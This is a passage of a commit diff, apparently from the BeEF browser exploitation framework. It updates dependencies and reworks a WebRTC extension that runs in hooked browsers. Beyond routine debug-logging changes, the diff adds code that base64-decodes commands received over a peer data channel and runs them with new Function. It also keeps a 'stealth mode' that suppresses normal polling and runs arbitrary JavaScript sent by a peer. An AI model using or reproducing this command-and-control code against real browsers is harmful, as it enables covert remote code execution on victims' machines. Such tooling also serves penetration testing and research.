Updated WebRTC extension with AdminUI enhancements and arbitrary command module execution
This commit is contained in:
@@ -1 +1 @@
|
|||||||
2.1.5
|
2.2.3
|
||||||
|
|||||||
144
Gemfile.lock
144
Gemfile.lock
@@ -3,9 +3,27 @@ GEM
|
|||||||
specs:
|
specs:
|
||||||
addressable (2.3.6)
|
addressable (2.3.6)
|
||||||
ansi (1.4.3)
|
ansi (1.4.3)
|
||||||
|
atk (3.0.7)
|
||||||
|
glib2 (= 3.0.7)
|
||||||
|
bundler-audit (0.4.0)
|
||||||
|
bundler (~> 1.2)
|
||||||
|
thor (~> 0.18)
|
||||||
|
cairo (1.14.3)
|
||||||
|
pkg-config (>= 1.1.5)
|
||||||
|
capybara (2.5.0)
|
||||||
|
mime-types (>= 1.16)
|
||||||
|
nokogiri (>= 1.3.3)
|
||||||
|
rack (>= 1.0.0)
|
||||||
|
rack-test (>= 0.5.4)
|
||||||
|
xpath (~> 2.0)
|
||||||
|
childprocess (0.5.8)
|
||||||
|
ffi (~> 1.0, >= 1.0.11)
|
||||||
|
chunky_png (1.3.5)
|
||||||
|
curb (0.8.8)
|
||||||
daemons (1.1.9)
|
daemons (1.1.9)
|
||||||
data_objects (0.10.14)
|
data_objects (0.10.14)
|
||||||
addressable (~> 2.1)
|
addressable (~> 2.1)
|
||||||
|
diff-lcs (1.2.5)
|
||||||
dm-core (1.2.1)
|
dm-core (1.2.1)
|
||||||
addressable (~> 2.3)
|
addressable (~> 2.3)
|
||||||
dm-do-adapter (1.2.0)
|
dm-do-adapter (1.2.0)
|
||||||
@@ -13,77 +31,183 @@ GEM
|
|||||||
dm-core (~> 1.2.0)
|
dm-core (~> 1.2.0)
|
||||||
dm-migrations (1.2.0)
|
dm-migrations (1.2.0)
|
||||||
dm-core (~> 1.2.0)
|
dm-core (~> 1.2.0)
|
||||||
|
dm-serializer (1.2.2)
|
||||||
|
dm-core (~> 1.2.0)
|
||||||
|
fastercsv (~> 1.5)
|
||||||
|
json (~> 1.6)
|
||||||
|
json_pure (~> 1.6)
|
||||||
|
multi_json (~> 1.0)
|
||||||
dm-sqlite-adapter (1.2.0)
|
dm-sqlite-adapter (1.2.0)
|
||||||
dm-do-adapter (~> 1.2.0)
|
dm-do-adapter (~> 1.2.0)
|
||||||
do_sqlite3 (~> 0.10.6)
|
do_sqlite3 (~> 0.10.6)
|
||||||
do_sqlite3 (0.10.14)
|
do_sqlite3 (0.10.14)
|
||||||
data_objects (= 0.10.14)
|
data_objects (= 0.10.14)
|
||||||
|
domain_name (0.5.25)
|
||||||
|
unf (>= 0.0.5, < 1.0.0)
|
||||||
em-websocket (0.3.8)
|
em-websocket (0.3.8)
|
||||||
addressable (>= 2.1.1)
|
addressable (>= 2.1.1)
|
||||||
eventmachine (>= 0.12.9)
|
eventmachine (>= 0.12.9)
|
||||||
erubis (2.7.0)
|
erubis (2.7.0)
|
||||||
eventmachine (1.0.7)
|
eventmachine (1.0.7)
|
||||||
execjs (2.0.2)
|
execjs (2.0.2)
|
||||||
|
fastercsv (1.5.5)
|
||||||
|
ffi (1.9.10)
|
||||||
|
gdk_pixbuf2 (3.0.7)
|
||||||
|
glib2 (= 3.0.7)
|
||||||
geoip (1.4.0)
|
geoip (1.4.0)
|
||||||
|
glib2 (3.0.7)
|
||||||
|
pkg-config
|
||||||
|
gtk2 (3.0.7)
|
||||||
|
atk (= 3.0.7)
|
||||||
|
gdk_pixbuf2 (= 3.0.7)
|
||||||
|
pango (= 3.0.7)
|
||||||
|
hoe (3.14.2)
|
||||||
|
rake (>= 0.8, < 11.0)
|
||||||
|
http-cookie (1.0.2)
|
||||||
|
domain_name (~> 0.5)
|
||||||
|
jar_wrapper (0.1.8)
|
||||||
|
zip
|
||||||
json (1.8.1)
|
json (1.8.1)
|
||||||
|
json_pure (1.8.3)
|
||||||
librex (0.0.68)
|
librex (0.0.68)
|
||||||
libv8 (3.11.8.17)
|
mime-types (2.99)
|
||||||
|
mini_portile (0.6.2)
|
||||||
|
mojo_magick (0.5.6)
|
||||||
msfrpc-client (1.0.1)
|
msfrpc-client (1.0.1)
|
||||||
librex (>= 0.0.32)
|
librex (>= 0.0.32)
|
||||||
msgpack (>= 0.4.5)
|
msgpack (>= 0.4.5)
|
||||||
msgpack (0.5.8)
|
msgpack (0.5.8)
|
||||||
multi_json (1.9.3)
|
multi_json (1.9.3)
|
||||||
|
netrc (0.11.0)
|
||||||
|
nokogiri (1.6.6.4)
|
||||||
|
mini_portile (~> 0.6.0)
|
||||||
|
pango (3.0.7)
|
||||||
|
cairo (>= 1.14.0)
|
||||||
|
glib2 (= 3.0.7)
|
||||||
parseconfig (1.0.4)
|
parseconfig (1.0.4)
|
||||||
|
pkg-config (1.1.6)
|
||||||
|
power_assert (0.2.6)
|
||||||
|
qr4r (0.4.0)
|
||||||
|
mojo_magick
|
||||||
|
rqrcode
|
||||||
rack (1.5.2)
|
rack (1.5.2)
|
||||||
rack-protection (1.5.3)
|
rack-protection (1.5.3)
|
||||||
rack
|
rack
|
||||||
|
rack-test (0.6.3)
|
||||||
|
rack (>= 1.0)
|
||||||
rainbow (2.0.0)
|
rainbow (2.0.0)
|
||||||
ref (1.0.5)
|
rake (10.4.2)
|
||||||
|
rest-client (1.8.0)
|
||||||
|
http-cookie (>= 1.0.2, < 2.0)
|
||||||
|
mime-types (>= 1.16, < 3.0)
|
||||||
|
netrc (~> 0.7)
|
||||||
rexec (1.6.3)
|
rexec (1.6.3)
|
||||||
rainbow
|
rainbow
|
||||||
|
rqrcode (0.7.0)
|
||||||
|
chunky_png
|
||||||
|
rr (1.1.2)
|
||||||
|
rspec (3.4.0)
|
||||||
|
rspec-core (~> 3.4.0)
|
||||||
|
rspec-expectations (~> 3.4.0)
|
||||||
|
rspec-mocks (~> 3.4.0)
|
||||||
|
rspec-core (3.4.1)
|
||||||
|
rspec-support (~> 3.4.0)
|
||||||
|
rspec-expectations (3.4.0)
|
||||||
|
diff-lcs (>= 1.2.0, < 2.0)
|
||||||
|
rspec-support (~> 3.4.0)
|
||||||
|
rspec-mocks (3.4.0)
|
||||||
|
diff-lcs (>= 1.2.0, < 2.0)
|
||||||
|
rspec-support (~> 3.4.0)
|
||||||
|
rspec-support (3.4.1)
|
||||||
rubydns (0.7.0)
|
rubydns (0.7.0)
|
||||||
eventmachine (~> 1.0.0)
|
eventmachine (~> 1.0.0)
|
||||||
rexec (~> 1.6.2)
|
rexec (~> 1.6.2)
|
||||||
rubyzip (1.1.3)
|
rubyzip (1.1.3)
|
||||||
|
selenium (0.2.11)
|
||||||
|
jar_wrapper
|
||||||
|
selenium-webdriver (2.48.1)
|
||||||
|
childprocess (~> 0.5)
|
||||||
|
multi_json (~> 1.0)
|
||||||
|
rubyzip (~> 1.0)
|
||||||
|
websocket (~> 1.0)
|
||||||
sinatra (1.4.2)
|
sinatra (1.4.2)
|
||||||
rack (~> 1.5, >= 1.5.2)
|
rack (~> 1.5, >= 1.5.2)
|
||||||
rack-protection (~> 1.4)
|
rack-protection (~> 1.4)
|
||||||
tilt (~> 1.3, >= 1.3.4)
|
tilt (~> 1.3, >= 1.3.4)
|
||||||
term-ansicolor (1.1.5)
|
term-ansicolor (1.1.5)
|
||||||
therubyracer (0.11.3)
|
test-unit (3.1.5)
|
||||||
libv8 (~> 3.11.8.12)
|
power_assert
|
||||||
ref
|
test-unit-full (0.0.3)
|
||||||
|
test-unit
|
||||||
|
test-unit-notify
|
||||||
|
test-unit-rr
|
||||||
|
test-unit-runner-fox
|
||||||
|
test-unit-runner-gtk2
|
||||||
|
test-unit-runner-tk
|
||||||
|
test-unit-notify (1.0.4)
|
||||||
|
test-unit (>= 2.4.9)
|
||||||
|
test-unit-rr (1.0.3)
|
||||||
|
rr (>= 1.1.1)
|
||||||
|
test-unit (>= 2.5.2)
|
||||||
|
test-unit-runner-fox (0.0.1)
|
||||||
|
hoe (>= 1.6.0)
|
||||||
|
test-unit-runner-gtk2 (0.0.2)
|
||||||
|
gtk2
|
||||||
|
test-unit
|
||||||
|
test-unit-runner-tk (0.0.1)
|
||||||
|
hoe (>= 1.6.0)
|
||||||
thin (1.6.2)
|
thin (1.6.2)
|
||||||
daemons (>= 1.0.9)
|
daemons (>= 1.0.9)
|
||||||
eventmachine (>= 1.0.0)
|
eventmachine (>= 1.0.0)
|
||||||
rack (>= 1.0.0)
|
rack (>= 1.0.0)
|
||||||
|
thor (0.19.1)
|
||||||
tilt (1.4.1)
|
tilt (1.4.1)
|
||||||
uglifier (2.2.1)
|
uglifier (2.2.1)
|
||||||
execjs (>= 0.3.0)
|
execjs (>= 0.3.0)
|
||||||
multi_json (~> 1.0, >= 1.0.2)
|
multi_json (~> 1.0, >= 1.0.2)
|
||||||
|
unf (0.1.4)
|
||||||
|
unf_ext
|
||||||
|
unf_ext (0.0.7.1)
|
||||||
|
websocket (1.2.2)
|
||||||
|
xpath (2.0.0)
|
||||||
|
nokogiri (~> 1.3)
|
||||||
|
zip (2.0.2)
|
||||||
|
|
||||||
PLATFORMS
|
PLATFORMS
|
||||||
ruby
|
ruby
|
||||||
|
|
||||||
DEPENDENCIES
|
DEPENDENCIES
|
||||||
ansi
|
ansi
|
||||||
|
bundler-audit
|
||||||
|
capybara
|
||||||
|
curb
|
||||||
data_objects
|
data_objects
|
||||||
dm-core
|
dm-core
|
||||||
dm-migrations
|
dm-migrations
|
||||||
|
dm-serializer
|
||||||
dm-sqlite-adapter
|
dm-sqlite-adapter
|
||||||
em-websocket (~> 0.3.6)
|
em-websocket (~> 0.3.6)
|
||||||
erubis
|
erubis
|
||||||
eventmachine (= 1.0.3)
|
eventmachine
|
||||||
execjs
|
|
||||||
geoip
|
geoip
|
||||||
json
|
json
|
||||||
|
mime-types
|
||||||
msfrpc-client
|
msfrpc-client
|
||||||
parseconfig
|
parseconfig
|
||||||
rack (= 1.5.2)
|
qr4r
|
||||||
|
rack
|
||||||
|
rest-client (~> 1.8.0)
|
||||||
|
rspec
|
||||||
rubydns (= 0.7.0)
|
rubydns (= 0.7.0)
|
||||||
rubyzip (>= 1.0.0)
|
rubyzip (>= 1.0.0)
|
||||||
sinatra (= 1.4.2)
|
selenium
|
||||||
|
selenium-webdriver
|
||||||
|
sinatra
|
||||||
term-ansicolor
|
term-ansicolor
|
||||||
therubyracer (= 0.11.3)
|
test-unit
|
||||||
|
test-unit-full
|
||||||
thin
|
thin
|
||||||
uglifier (~> 2.2.1)
|
uglifier (~> 2.2.1)
|
||||||
|
|
||||||
|
BUNDLED WITH
|
||||||
|
1.10.6
|
||||||
|
|||||||
@@ -98,32 +98,27 @@ Beefwebrtc.prototype.forceTurn = function(jason) {
|
|||||||
if (iceServers !== null) {
|
if (iceServers !== null) {
|
||||||
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
|
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
|
||||||
}
|
}
|
||||||
if (this.verbose) {beef.debug("Got TURN servers, will try and maybestart again..");}
|
beef.debug("Got TURN servers, will try and maybestart again..");
|
||||||
this.turnDone = true;
|
this.turnDone = true;
|
||||||
this.maybeStart();
|
this.maybeStart();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Try and establish the RTC connection
|
// Try and establish the RTC connection
|
||||||
Beefwebrtc.prototype.createPeerConnection = function() {
|
Beefwebrtc.prototype.createPeerConnection = function() {
|
||||||
if (this.verbose) {
|
beef.debug('Creating RTCPeerConnnection with the following options:\n' +
|
||||||
beef.debug('Creating RTCPeerConnnection with the following options:\n' +
|
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
|
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
|
||||||
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
|
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
|
||||||
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
|
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
|
||||||
if (this.verbose) {
|
beef.debug('Created RTCPeerConnnection with the following options:\n' +
|
||||||
beef.debug('Created RTCPeerConnnection with the following options:\n' +
|
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
|
||||||
}
|
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
if (this.verbose) {
|
beef.debug('Failed to create PeerConnection, exception: ');
|
||||||
beef.debug('Failed to create PeerConnection, exception: ');
|
beef.debug(e);
|
||||||
beef.debug(e);
|
|
||||||
}
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -144,10 +139,8 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (beefrtcs[peerid].verbose) {
|
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
||||||
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
beef.debug(event);
|
||||||
beef.debug(event);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (event.candidate) {
|
if (event.candidate) {
|
||||||
// Send the candidate to the peer via the BeEF signalling channel
|
// Send the candidate to the peer via the BeEF signalling channel
|
||||||
@@ -158,7 +151,7 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
|
|||||||
// Note this ICE candidate locally
|
// Note this ICE candidate locally
|
||||||
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
|
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
|
||||||
} else {
|
} else {
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug('End of candidates.');}
|
beef.debug('End of candidates.');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -166,26 +159,24 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
|
|||||||
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
|
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
|
||||||
// against the message directly
|
// against the message directly
|
||||||
Beefwebrtc.prototype.processMessage = function(message) {
|
Beefwebrtc.prototype.processMessage = function(message) {
|
||||||
if (this.verbose) {
|
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
|
||||||
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
|
|
||||||
}
|
|
||||||
var msg = JSON.parse(message);
|
var msg = JSON.parse(message);
|
||||||
|
|
||||||
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
|
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
|
||||||
if (this.verbose) {beef.debug('processing the message, as a receiver');}
|
beef.debug('processing the message, as a receiver');
|
||||||
if (msg.type === 'offer') { // This IS an SDP Offer
|
if (msg.type === 'offer') { // This IS an SDP Offer
|
||||||
if (this.verbose) {beef.debug('.. and the message is an offer .. ');}
|
beef.debug('.. and the message is an offer .. ');
|
||||||
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
|
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
|
||||||
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
|
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
|
||||||
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
|
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
|
||||||
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
|
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
|
||||||
if (this.verbose) {beef.debug(' .. the message is NOT an offer .. ');}
|
beef.debug(' .. the message is NOT an offer .. ');
|
||||||
this.msgQueue.push(msg);
|
this.msgQueue.push(msg);
|
||||||
}
|
}
|
||||||
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
|
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
|
||||||
if (this.verbose) {beef.debug('processing the message, as the sender, no answers yet');}
|
beef.debug('processing the message, as the sender, no answers yet');
|
||||||
if (msg.type === 'answer') { // This IS an SDP Answer
|
if (msg.type === 'answer') { // This IS an SDP Answer
|
||||||
if (this.verbose) {beef.debug('.. and we have an answer ..');}
|
beef.debug('.. and we have an answer ..');
|
||||||
this.processSignalingMessage(msg); // Process the message directly
|
this.processSignalingMessage(msg); // Process the message directly
|
||||||
this.gotanswer = true; // We have now received an answer
|
this.gotanswer = true; // We have now received an answer
|
||||||
//process all other queued message...
|
//process all other queued message...
|
||||||
@@ -193,11 +184,11 @@ Beefwebrtc.prototype.processMessage = function(message) {
|
|||||||
this.processSignalingMessage(this.msgQueue.shift());
|
this.processSignalingMessage(this.msgQueue.shift());
|
||||||
}
|
}
|
||||||
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
|
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
|
||||||
if (this.verbose) {beef.debug('.. not an answer ..');}
|
beef.debug('.. not an answer ..');
|
||||||
this.msgQueue.push(msg);
|
this.msgQueue.push(msg);
|
||||||
}
|
}
|
||||||
} else { // For all other messages just drop them in the queue
|
} else { // For all other messages just drop them in the queue
|
||||||
if (this.verbose) {beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');}
|
beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
|
||||||
this.processSignalingMessage(msg);
|
this.processSignalingMessage(msg);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -205,7 +196,7 @@ Beefwebrtc.prototype.processMessage = function(message) {
|
|||||||
// Send a signalling message ..
|
// Send a signalling message ..
|
||||||
Beefwebrtc.prototype.sendSignalMsg = function(message) {
|
Beefwebrtc.prototype.sendSignalMsg = function(message) {
|
||||||
var msgString = JSON.stringify(message);
|
var msgString = JSON.stringify(message);
|
||||||
if (this.verbose) {beef.debug('Signalling Message - C->S: ' + msgString);}
|
beef.debug('Signalling Message - C->S: ' + msgString);
|
||||||
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
|
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -219,15 +210,7 @@ Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
|
|||||||
|
|
||||||
// When the signalling state changes. We don't actually do anything with this except log it.
|
// When the signalling state changes. We don't actually do anything with this except log it.
|
||||||
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
|
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
|
||||||
var localverbose = false;
|
beef.debug("Signalling has changed to: " + event.target.signalingState);
|
||||||
|
|
||||||
for (var k in beefrtcs) {
|
|
||||||
if (beefrtcs[k].verbose === true) {
|
|
||||||
localverbose = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (localverbose === true) {beef.debug("Signalling has changed to: " + event.target.signalingState);}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
|
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
|
||||||
@@ -240,7 +223,7 @@ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
|
beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
|
||||||
|
|
||||||
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
|
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
|
||||||
// better candidates or connections
|
// better candidates or connections
|
||||||
@@ -283,7 +266,7 @@ Beefwebrtc.prototype.goStealth = function() {
|
|||||||
beef.updater.lock = true;
|
beef.updater.lock = true;
|
||||||
this.sendPeerMsg('Going into stealth mode');
|
this.sendPeerMsg('Going into stealth mode');
|
||||||
|
|
||||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
|
||||||
}
|
}
|
||||||
|
|
||||||
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
|
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
|
||||||
@@ -294,11 +277,11 @@ rtcpollPeer = function() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (beefrtcs[rtcstealth].verbose) {beef.debug('lub dub');}
|
beef.debug('lub dub');
|
||||||
|
|
||||||
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
|
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
|
||||||
|
|
||||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
|
||||||
}
|
}
|
||||||
|
|
||||||
// When a data channel has been established - within here is the message handling function as well
|
// When a data channel has been established - within here is the message handling function as well
|
||||||
@@ -310,12 +293,12 @@ Beefwebrtc.prototype.onDataChannel = function(event) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");}
|
beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
|
||||||
rtcrecvchan[peerid] = event.channel;
|
rtcrecvchan[peerid] = event.channel;
|
||||||
|
|
||||||
// This is the onmessage event handling within the datachannel
|
// This is the onmessage event handling within the datachannel
|
||||||
rtcrecvchan[peerid].onmessage = function(ev2) {
|
rtcrecvchan[peerid].onmessage = function(ev2) {
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
|
beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
|
||||||
|
|
||||||
// We've received the command to go into stealth mode
|
// We've received the command to go into stealth mode
|
||||||
if (ev2.data == "!gostealth") {
|
if (ev2.data == "!gostealth") {
|
||||||
@@ -335,22 +318,34 @@ Beefwebrtc.prototype.onDataChannel = function(event) {
|
|||||||
|
|
||||||
// Command to perform arbitrary JS (while stealthed)
|
// Command to perform arbitrary JS (while stealthed)
|
||||||
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
|
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
|
beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
|
||||||
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
|
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
|
||||||
|
|
||||||
// Command to perform arbitrary JS (while NOT stealthed)
|
// Command to perform arbitrary JS (while NOT stealthed)
|
||||||
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
|
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
|
beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
|
||||||
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
|
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
|
||||||
|
|
||||||
|
// B64d command from the /cmdexec API
|
||||||
|
} else if (ev2.data.charAt(0) == "@") {
|
||||||
|
beef.debug('message was a b64d command');
|
||||||
|
|
||||||
|
var fn = new Function(atob(ev2.data.substring(1)));
|
||||||
|
fn();
|
||||||
|
if (rtcstealth != false) { // force stealth back on ?
|
||||||
|
beef.updater.execute_commands(); // FORCE execution while stealthed
|
||||||
|
beef.updater.lock = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
// Just a plain text message .. (while stealthed)
|
// Just a plain text message .. (while stealthed)
|
||||||
} else if (rtcstealth != false) {
|
} else if (rtcstealth != false) {
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
|
beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
|
||||||
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
|
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
|
||||||
|
|
||||||
// Just a plan text message (while NOT stealthed)
|
// Just a plan text message (while NOT stealthed)
|
||||||
} else {
|
} else {
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug('received a message from peer['+peerid+'] - sending it back to beef');}
|
beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
|
||||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
|
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -365,30 +360,30 @@ Beefwebrtc.prototype.execCmd = function(input) {
|
|||||||
|
|
||||||
// Shortcut function to SEND a data messsage
|
// Shortcut function to SEND a data messsage
|
||||||
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
|
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
|
||||||
if (this.verbose) {beef.debug('sendPeerMsg to ' + this.peerid);}
|
beef.debug('sendPeerMsg to ' + this.peerid);
|
||||||
this.dataChannel.send(msg);
|
this.dataChannel.send(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
|
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
|
||||||
Beefwebrtc.prototype.maybeStart = function() {
|
Beefwebrtc.prototype.maybeStart = function() {
|
||||||
if (this.verbose) {beef.debug("maybe starting ... ");}
|
beef.debug("maybe starting ... ");
|
||||||
|
|
||||||
if (!this.started && this.signalingReady && this.turnDone) {
|
if (!this.started && this.signalingReady && this.turnDone) {
|
||||||
if (this.verbose) {beef.debug('Creating PeerConnection.');}
|
beef.debug('Creating PeerConnection.');
|
||||||
this.createPeerConnection();
|
this.createPeerConnection();
|
||||||
|
|
||||||
this.started = true;
|
this.started = true;
|
||||||
|
|
||||||
if (this.initiator) {
|
if (this.initiator) {
|
||||||
if (this.verbose) {beef.debug("Making the call now .. bzz bzz");}
|
beef.debug("Making the call now .. bzz bzz");
|
||||||
this.doCall();
|
this.doCall();
|
||||||
} else {
|
} else {
|
||||||
if (this.verbose) {beef.debug("Receiving a call now .. somebuddy answer da fone?");}
|
beef.debug("Receiving a call now .. somebuddy answer da fone?");
|
||||||
this.calleeStart();
|
this.calleeStart();
|
||||||
}
|
}
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
if (this.verbose) {beef.debug("Not ready to start just yet..");}
|
beef.debug("Not ready to start just yet..");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -397,8 +392,8 @@ Beefwebrtc.prototype.doCall = function() {
|
|||||||
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
|
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
|
||||||
var self = this;
|
var self = this;
|
||||||
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
|
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
|
||||||
if (this.verbose) {beef.debug('Sending offer to peer, with constraints: \n' +
|
beef.debug('Sending offer to peer, with constraints: \n' +
|
||||||
' \'' + JSON.stringify(constraints) + '\'.');}
|
' \'' + JSON.stringify(constraints) + '\'.');
|
||||||
}
|
}
|
||||||
|
|
||||||
// Helper method to merge SDP constraints
|
// Helper method to merge SDP constraints
|
||||||
@@ -426,42 +421,28 @@ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
|
|||||||
peerid = beefrtcs[k].peerid;
|
peerid = beefrtcs[k].peerid;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");}
|
beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
|
||||||
|
|
||||||
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
|
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
|
||||||
beefrtcs[peerid].sendSignalMsg(sessionDescription);
|
beefrtcs[peerid].sendSignalMsg(sessionDescription);
|
||||||
|
|
||||||
function onSetSessionDescriptionSuccess() {
|
function onSetSessionDescriptionSuccess() {
|
||||||
